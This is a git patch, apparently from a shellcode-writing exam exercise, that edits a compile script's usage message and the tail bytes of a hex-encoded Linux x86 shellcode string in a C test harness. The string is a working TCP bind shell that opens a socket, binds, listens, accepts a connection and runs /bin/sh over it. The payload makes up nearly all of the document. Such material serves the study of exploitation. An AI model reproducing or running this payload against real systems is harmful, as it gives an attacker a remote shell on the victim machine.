From 4f467ecacb77ace2f2835f641c5fce732ce7f426 Mon Sep 17 00:00:00 2001 From: arno01 Date: Mon, 11 Mar 2013 23:06:57 +0100 Subject: [PATCH] Minor updates --- exam1/compile_all.sh | 2 +- exam1/shellcode.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/exam1/compile_all.sh b/exam1/compile_all.sh index 6e9d2ea..7017e7c 100755 --- a/exam1/compile_all.sh +++ b/exam1/compile_all.sh @@ -16,7 +16,7 @@ ARG2=$2 # Specify port if [ -z "$ARG1" ]; then echo " [I] Please specify program you would like to assemble!" - echo " [I] Example: ./compile_all.sh shell_bin_tcp 50123" + echo " [I] Usage example: ./compile_all.sh shell_bind_tcp 50123" exit 1; elif ! [ -e "$ARG1".nasm ]; then ARG1_GUESS=$(echo $ARG1 |sed 's/.nasm//g') diff --git a/exam1/shellcode.c b/exam1/shellcode.c index dbc7a19..7ba8ba3 100644 --- a/exam1/shellcode.c +++ b/exam1/shellcode.c @@ -1,7 +1,7 @@ #include #include -unsigned char code[] = "\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xeb\x6d\x5f\x31\xc0\xb0\x66\x31\xdb\xb3\x02\x31\xd2\x52\x66\xff\x37\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x04\x6a\x01\x56\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x05\x31\xd2\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc0\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80\xe8\x8e\xff\xff\xff\xaa\xff"; +unsigned char code[] = "\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xeb\x6d\x5f\x31\xc0\xb0\x66\x31\xdb\xb3\x02\x31\xd2\x52\x66\xff\x37\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x04\x6a\x01\x56\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x05\x31\xd2\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc0\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80\xe8\x8e\xff\xff\xff\xc3\xcb"; main() {